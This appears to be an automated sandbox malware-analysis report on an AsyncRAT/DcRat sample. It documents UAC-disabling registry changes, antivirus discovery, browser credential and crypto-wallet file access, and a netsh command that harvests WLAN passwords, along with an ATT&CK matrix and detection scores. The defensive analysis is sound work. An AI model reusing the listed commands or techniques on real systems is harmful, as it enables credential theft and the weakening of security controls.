Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: t3h7DNer1Q.exe, type: SAMPLE
Source: Yara match	File source: 0.0.t3h7DNer1Q.exe.9c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.t3h7DNer1Q.exe.322f188.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.t3h7DNer1Q.exe.322f188.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1593618518.00000000009C2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1622733927.000000000322F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: t3h7DNer1Q.exe PID: 6212, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Loaader.exe PID: 3808, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Loaader.exe, type: DROPPED

Disable UAC(promptonsecuredesktop)

Source: C:\Users\user\AppData\Roaming\Loaader.exe

Registry value created: promptonsecuredesktop 0

Jump to behavior

Disables UAC (registry)

Source: C:\Users\user\AppData\Roaming\Loaader.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System enablelua

Jump to behavior

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: t3h7DNer1Q.exe, 00000000.00000000.1593618518.00000000009C2000.00000002.00000001.01000000.00000003.sdmp, t3h7DNer1Q.exe, 00000000.00000002.1622733927.000000000322F000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe.0.dr	Binary or memory string: MSASCui.exe
Source: t3h7DNer1Q.exe, 00000000.00000000.1593618518.00000000009C2000.00000002.00000001.01000000.00000003.sdmp, t3h7DNer1Q.exe, 00000000.00000002.1622733927.000000000322F000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe.0.dr	Binary or memory string: procexp.exe
Source: Loaader.exe, 00000007.00000002.2850520768.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, Loaader.exe, 00000007.00000002.2880243669.000000001B5A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: t3h7DNer1Q.exe, 00000000.00000000.1593618518.00000000009C2000.00000002.00000001.01000000.00000003.sdmp, t3h7DNer1Q.exe, 00000000.00000002.1622733927.000000000322F000.00000004.00000800.00020000.00000000.sdmp, Loaader.exe.0.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected DcRat

Source: Yara match	File source: 00000007.00000002.2853326582.00000000029C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: t3h7DNer1Q.exe PID: 6212, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Loaader.exe PID: 3808, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 5\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\keystore
Source: Loaader.exe, 00000007.00000002.2880243669.000000001B5C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Local\e20e7a46feee2c9494221e631f609d86\user@855271_en-CH\Wallets\Edge_Wallet\Edge_Exodus\MANIFEST-000001
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets
Source: Loaader.exe, 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\keystore

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\Loaader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Source: Yara match	File source: 7.2.Loaader.exe.1cf80000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Loaader.exe.1cf80000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2890957214.000000001CF80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Loaader.exe PID: 3808, type: MEMORYSTR

Remote Access Functionality

Yara detected DcRat

Source: Yara match	File source: 00000007.00000002.2853326582.00000000029C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: t3h7DNer1Q.exe PID: 6212, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Loaader.exe PID: 3808, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	131 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	41 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	134 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Scheduled Task/Job	2 Scheduled Task/Job	12 Process Injection	111 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Scheduled Task/Job	1 Software Packing	NTDS	541 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Bypass User Account Control	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	251 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
t3h7DNer1Q.exe	76%	ReversingLabs	ByteCode-MSIL.Backdoor.AsyncRAT
t3h7DNer1Q.exe	100%	Avira	HEUR/AGEN.1307453
t3h7DNer1Q.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Loaader.exe	76%	ReversingLabs	ByteCode-MSIL.Backdoor.AsyncRAT

Source	Detection	Scanner	Label
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://ip-api.com	0%	URL Reputation	safe
http://www.codeplex.com/DotNetZip	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe
http://icanhazip.com/	0%	Avira URL Cloud	safe
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=	0%	Avira URL Cloud	safe
https://user-images.githubusercontent.com/45857590/138568746-1a5578fe-f51b-4114-bcf2-e374535f8488.pn	0%	Avira URL Cloud	safe
https://api.mylnikov.org/geolocation/wifi?v=1.1&	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://icanhazip.com	0%	Avira URL Cloud	safe
